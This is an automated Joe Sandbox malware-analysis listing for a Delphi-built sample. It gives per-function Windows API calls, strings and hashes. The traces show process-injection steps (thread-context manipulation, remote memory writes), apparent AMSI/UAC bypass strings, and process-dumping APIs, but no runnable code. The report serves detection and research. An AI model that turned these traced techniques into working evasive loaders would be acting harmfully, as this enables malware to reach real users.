Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: f936b450ebeaddec630cccddfce7c9c97fc4af6cb00137120e14f29a7b95d2da
Instruction ID: 66e3c2003e58be6e01d48c847ac95342f37aeefccd6b2e0359976fd045caf9d8
Opcode Fuzzy Hash: f936b450ebeaddec630cccddfce7c9c97fc4af6cb00137120e14f29a7b95d2da
Instruction Fuzzy Hash: 95D022BAB006242BE700E0AC1C818FB32CE8B8C760F4800317998CB3C1FA608E000BD3

Function 02897E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,028AFD00,ScanString,028F237C,028BB40C,OpenSession,028F237C,028BB40C,ScanString,028F237C,028BB40C,UacScan,028F237C,028BB40C,UacInitialize), ref: 02897E1B

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction ID: e3d48fb3eb32dda070476d284d47019f04a75b79e9a9ad2dde1067077f353cb8
Opcode Fuzzy Hash: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction Fuzzy Hash: 3FC08CFC6222020A1E50A1FC0CC412E428C19041393AC2F21E23CDA2E2E32188232421

Function 02894C48 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(028AED84), ref: 02894C1A
SysReAllocStringLen.OLEAUT32(028BC2B4,028AED84,000000B4), ref: 02894C62

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction ID: 5cce9e473c1ace61413f4a0df9b0222ba7e07e8c7d07f12537dcb974a2abb889
Opcode Fuzzy Hash: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction Fuzzy Hash: F8D012BC5041025DBF2C99998564936636A99D030F74CC259980BCA241E7319402CA31

Function 028BBF84 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,028BBF78,00000000,00000001), ref: 028BBF94

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 8325e160434a9822973b596be1c4dceabb7a3d8abc74230675d73c8624a00344
Instruction ID: 3beb7f8d487d1c3707aa43c454a5152dd685c990c0d32a283eae56654f6e5e65
Opcode Fuzzy Hash: 8325e160434a9822973b596be1c4dceabb7a3d8abc74230675d73c8624a00344
Instruction Fuzzy Hash: 7DC048F8788340BAFE1196AA1CC2F77198DDB18B15F200456BA10EE2C1D1E258508A20

Function 028915CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02891A03,?,02891FC1), ref: 028915E2

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 90a6763624d766913735180fecd06413017fd683daf36392e4ec3c47e7482019
Instruction ID: 7e3a3824a8a8dd807743d327d6586ffd3e981ae40467321150c22f606f973ea9
Opcode Fuzzy Hash: 90a6763624d766913735180fecd06413017fd683daf36392e4ec3c47e7482019
Instruction Fuzzy Hash: B8F037F8B413408BEF05DF799D463016AD2EB8A344F148579E709DB6C8E77184028B00

Function 02891682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02891FC1), ref: 028916A4

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5069c44c3e0738f94f798da6922606cb036e87a9fc8473f70ded5b701811c8d5
Instruction ID: ed96c8aa365450e528f11e68fdf4b532a9836a359b306779c6b73a3940e3a7a6
Opcode Fuzzy Hash: 5069c44c3e0738f94f798da6922606cb036e87a9fc8473f70ded5b701811c8d5
Instruction Fuzzy Hash: C3F090BEF44695ABD7119E5E9C88B92BBA4FB40355F050139EA0CD7388D770A8108B94

Function 028916E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02891FE4), ref: 02891704

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 30ad4e785c002efe194672efc04cd6f273f3d446cdb311bd63c082e88091deca
Instruction ID: 913cba451fbc97e89b39d25274bd40daad35ad5b811d8c76a136108d571a3ba2
Opcode Fuzzy Hash: 30ad4e785c002efe194672efc04cd6f273f3d446cdb311bd63c082e88091deca
Instruction Fuzzy Hash: 47E0867D704303AFDB105A7E5D88B12ABD8EB45654F184475F60DDB295D760E8108B60

Non-executed Functions

Function 028AA954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,028AABDB,?,?,028AAC6D,00000000,028AAD49), ref: 028AA968
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 028AA980
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 028AA992
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 028AA9A4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 028AA9B6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 028AA9C8
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 028AA9DA
GetProcAddress.KERNEL32(00000000,Process32First), ref: 028AA9EC
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 028AA9FE
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 028AAA10
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 028AAA22
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 028AAA34
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 028AAA46
GetProcAddress.KERNEL32(00000000,Module32First), ref: 028AAA58
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 028AAA6A
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 028AAA7C
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 028AAA8E

Strings

kernel32.dll, xrefs: 028AA963
Module32First, xrefs: 028AAA50
Process32NextW, xrefs: 028AAA1A
Module32FirstW, xrefs: 028AAA74
Heap32ListFirst, xrefs: 028AA98A
Process32First, xrefs: 028AA9E4
Heap32ListNext, xrefs: 028AA99C
Thread32First, xrefs: 028AAA2C
Toolhelp32ReadProcessMemory, xrefs: 028AA9D2
Process32FirstW, xrefs: 028AAA08
Process32Next, xrefs: 028AA9F6
CreateToolhelp32Snapshot, xrefs: 028AA978
Heap32First, xrefs: 028AA9AE
Module32Next, xrefs: 028AAA62
Heap32Next, xrefs: 028AA9C0
Thread32Next, xrefs: 028AAA3E
Module32NextW, xrefs: 028AAA86

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 4e92525f944385b648fa954f0f3b3b08bac5152f6b3ccc6af4aa5ea1f094d5bd
Instruction ID: 3011b25119ba58fdc1d45cf374f56a9e70cdee4a506c3094bb56e57cac25d44d
Opcode Fuzzy Hash: 4e92525f944385b648fa954f0f3b3b08bac5152f6b3ccc6af4aa5ea1f094d5bd
Instruction Fuzzy Hash: 1A31CFBCA817209FFF85DFB8D8B5E2637F9AB097407040965A501CF649EB789811CF52

Function 028A8BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 028A881C: LoadLibraryA.KERNEL32(00000000,00000000,028A8903), ref: 028A8850
Part of subcall function 028A881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,028A8903), ref: 028A8860
Part of subcall function 028A881C: GetProcAddress.KERNEL32(74F60000,00000000), ref: 028A8879
Part of subcall function 028A881C: FreeLibrary.KERNEL32(74F60000,00000000,028F2388,Function_000065D8,00000004,028F2398,028F2388,000186A3,00000040,028F239C,74F60000,00000000,00000000,00000000,00000000,028A8903), ref: 028A88E3

GetThreadContext.KERNEL32(00000000,028F2420,ScanString,028F23A4,028AA774,UacInitialize,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,UacInitialize,028F23A4), ref: 028A943A

Part of subcall function 028A7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 028A7D6C

SetThreadContext.KERNEL32(00000000,028F2420,ScanBuffer,028F23A4,028AA774,ScanString,028F23A4,028AA774,Initialize,028F23A4,028AA774,00000000,-00000008,028F24F8,00000004,028F24FC), ref: 028AA14F
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,028F2420,ScanBuffer,028F23A4,028AA774,ScanString,028F23A4,028AA774,Initialize,028F23A4,028AA774,00000000,-00000008,028F24F8), ref: 028AA15C

Part of subcall function 028A8798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028F23A4,028AA3BF,ScanString,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,Initialize,028F23A4,028AA774,UacScan), ref: 028A87AC
Part of subcall function 028A8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028A87C6
Part of subcall function 028A8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028F23A4,028AA3BF,ScanString,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,Initialize), ref: 028A8802

Strings

NtReadVirtualMemory, xrefs: 028AA458
Initialize, xrefs: 028A8F22, 028A9530, 028A96B7, 028A9AA0, 028A9D02, 028A9E72, 028A9FE5, 028AA24A, 028AA57B
I_QueryTagInformation, xrefs: 028AA538
MiniDumpReadDumpStream, xrefs: 028AA560
bcrypt, xrefs: 028AA3B0, 028AA3C4, 028AA3D8
sppc, xrefs: 028A91AE
ScanBuffer, xrefs: 028A8D04, 028A8D8C, 028A9127, 028A923C, 028A92D9, 028A9612, 028A9799, 028A992C, 028A9B11, 028A9C26, 028A9DE4, 028A9F54, 028AA0C7, 028AA2BB, 028AA4D9, 028AA61F
MiniDumpWriteDump, xrefs: 028AA54C
NtOpenObjectAuditAlarm, xrefs: 028AA46C, 028AA524
NtSetSecurityObject, xrefs: 028AA6C7
ntdll, xrefs: 028AA45D, 028AA471, 028AA529, 028AA6CC, 028AA6E0
BCryptVerifySignature, xrefs: 028AA3AB
OpenSession, xrefs: 028A8BE1, 028A9004, 028A90B6, 028AA487, 028AA5CD
NtOpenProcess, xrefs: 028AA6DB
SLGetLicenseInformation, xrefs: 028A9197
BCryptRegisterProvider, xrefs: 028AA3D3
UacInitialize, xrefs: 028A8E6A, 028A91CB, 028A934A, 028A944E, 028A984A, 028A99BE, 028AA168
ScanString, xrefs: 028A8C3A, 028A8DE5, 028A8F93, 028A93BB, 028A95A1, 028A9728, 028A9BB5, 028A9D73, 028A9EE3, 028AA056, 028AA341, 028AA3EE
dbgcore, xrefs: 028AA551, 028AA565
UacScan, xrefs: 028A8CAB, 028A8EC3, 028A94BF, 028A98BB, 028A9A2F, 028AA1D9, 028AA671
BCryptQueryProviderRegistration, xrefs: 028AA3BF
advapi32, xrefs: 028AA53D

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Library$Thread$AddressContextFreeLoadProc$HandleMemoryModuleResumeVirtualWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4175202198-51457883
Opcode ID: d858d7f595146f77330bc4532d68a6fcb6379d86e3635bd50033f73fd803110b
Instruction ID: 609a725b305e24184948a6c084cc7034bb4d6db85b35dde8ab0a0e3c5e9fe723
Opcode Fuzzy Hash: d858d7f595146f77330bc4532d68a6fcb6379d86e3635bd50033f73fd803110b
Instruction Fuzzy Hash: 4CE24C7DA501289FEF15EB68CCA0BDE73BAAF84300F1481A1E145EB615DE749E46CF12

Function 028A8BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON

Download Yara Rule

APIs

Part of subcall function 028A881C: LoadLibraryA.KERNEL32(00000000,00000000,028A8903), ref: 028A8850
Part of subcall function 028A881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,028A8903), ref: 028A8860
Part of subcall function 028A881C: GetProcAddress.KERNEL32(74F60000,00000000), ref: 028A8879
Part of subcall function 028A881C: FreeLibrary.KERNEL32(74F60000,00000000,028F2388,Function_000065D8,00000004,028F2398,028F2388,000186A3,00000040,028F239C,74F60000,00000000,00000000,00000000,00000000,028A8903), ref: 028A88E3

GetThreadContext.KERNEL32(00000000,028F2420,ScanString,028F23A4,028AA774,UacInitialize,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,UacInitialize,028F23A4), ref: 028A943A

Strings

NtReadVirtualMemory, xrefs: 028AA458
Initialize, xrefs: 028A8F22, 028A9530, 028A96B7, 028A9AA0, 028A9D02, 028A9E72, 028A9FE5, 028AA24A, 028AA57B
I_QueryTagInformation, xrefs: 028AA538
MiniDumpReadDumpStream, xrefs: 028AA560
bcrypt, xrefs: 028AA3B0, 028AA3C4, 028AA3D8
sppc, xrefs: 028A91AE
ScanBuffer, xrefs: 028A8D04, 028A8D8C, 028A9127, 028A923C, 028A92D9, 028A9612, 028A9799, 028A992C, 028A9B11, 028A9C26, 028A9DE4, 028A9F54, 028AA0C7, 028AA2BB, 028AA4D9, 028AA61F
MiniDumpWriteDump, xrefs: 028AA54C
NtOpenObjectAuditAlarm, xrefs: 028AA46C, 028AA524
NtSetSecurityObject, xrefs: 028AA6C7
ntdll, xrefs: 028AA45D, 028AA471, 028AA529, 028AA6CC, 028AA6E0
BCryptVerifySignature, xrefs: 028AA3AB
OpenSession, xrefs: 028A8BE1, 028A9004, 028A90B6, 028AA487, 028AA5CD
NtOpenProcess, xrefs: 028AA6DB
SLGetLicenseInformation, xrefs: 028A9197
BCryptRegisterProvider, xrefs: 028AA3D3
UacInitialize, xrefs: 028A8E6A, 028A91CB, 028A934A, 028A944E, 028AA168
ScanString, xrefs: 028A8C3A, 028A8DE5, 028A8F93, 028A93BB, 028A95A1, 028A9728, 028A9BB5, 028A9D73, 028A9EE3, 028AA056, 028AA341, 028AA3EE
dbgcore, xrefs: 028AA551, 028AA565
UacScan, xrefs: 028A8CAB, 028A8EC3, 028A94BF, 028A98BB, 028A9A2F, 028AA1D9, 028AA671
BCryptQueryProviderRegistration, xrefs: 028AA3BF
advapi32, xrefs: 028AA53D

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Library$AddressContextFreeHandleLoadModuleProcThread
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1116111917-51457883
Opcode ID: d507fd6243955d7505aba5c86e89ac3789d000c4b421a4d4543d515b59a7f1ba
Instruction ID: 1098648eb3a70d297d2217a31c0d8ee425fa4f8526ca3c60190d78338ebb964f
Opcode Fuzzy Hash: d507fd6243955d7505aba5c86e89ac3789d000c4b421a4d4543d515b59a7f1ba
Instruction Fuzzy Hash: C9E23C7DA501289FEF15EB68CCA0BDE73BAAF84300F1481A1E145EB615DE749E46CF12

Function 028958B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02896BC8,02890000,028BE790), ref: 028958D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 028958E8
lstrcpynA.KERNEL32(?,?,?), ref: 02895918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02896BC8,02890000,028BE790), ref: 0289597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02896BC8,02890000,028BE790), ref: 028959B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02896BC8,02890000,028BE790), ref: 028959C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02896BC8,02890000,028BE790), ref: 028959D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02896BC8,02890000,028BE790), ref: 028959E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02896BC8,02890000), ref: 02895A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02896BC8), ref: 02895A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02895A45

Strings

GetLongPathNameA, xrefs: 028958DF
\, xrefs: 028959F5
kernel32.dll, xrefs: 028958CC

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 19d20a35a1cdcd927f70bf135d4261e21bd06e844f5c906a9b54030c2f523273
Instruction ID: d4e3a19cf2ab7ce158e2fe9f0d6d464dcffddaa044e08a5a7bc93f2bc36450c9
Opcode Fuzzy Hash: 19d20a35a1cdcd927f70bf135d4261e21bd06e844f5c906a9b54030c2f523273
Instruction Fuzzy Hash: 55416D79E04259AFDF11DFE8CC88ADEB3FEAB08304F4845A5A148E7241D7349A448F54

Function 02895B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02895B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02895BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02895BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02895BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02895C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02895C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02895C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02895C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02895C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02895C97

Strings

Software\Borland\Locales, xrefs: 02895AA8, 02895AC6
Software\Borland\Delphi\Locales, xrefs: 02895AE4

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 86224bca5790768c5ac74e01a15fc0c204d72f4ed05ffb645284c717bda3be1a
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: 7031957DE4421D7AFF26D6F88C49BDFB7AD4B04384F4801E19608E6181DB789A44CF91

Function 028A8798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028F23A4,028AA3BF,ScanString,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,Initialize,028F23A4,028AA774,UacScan), ref: 028A87AC
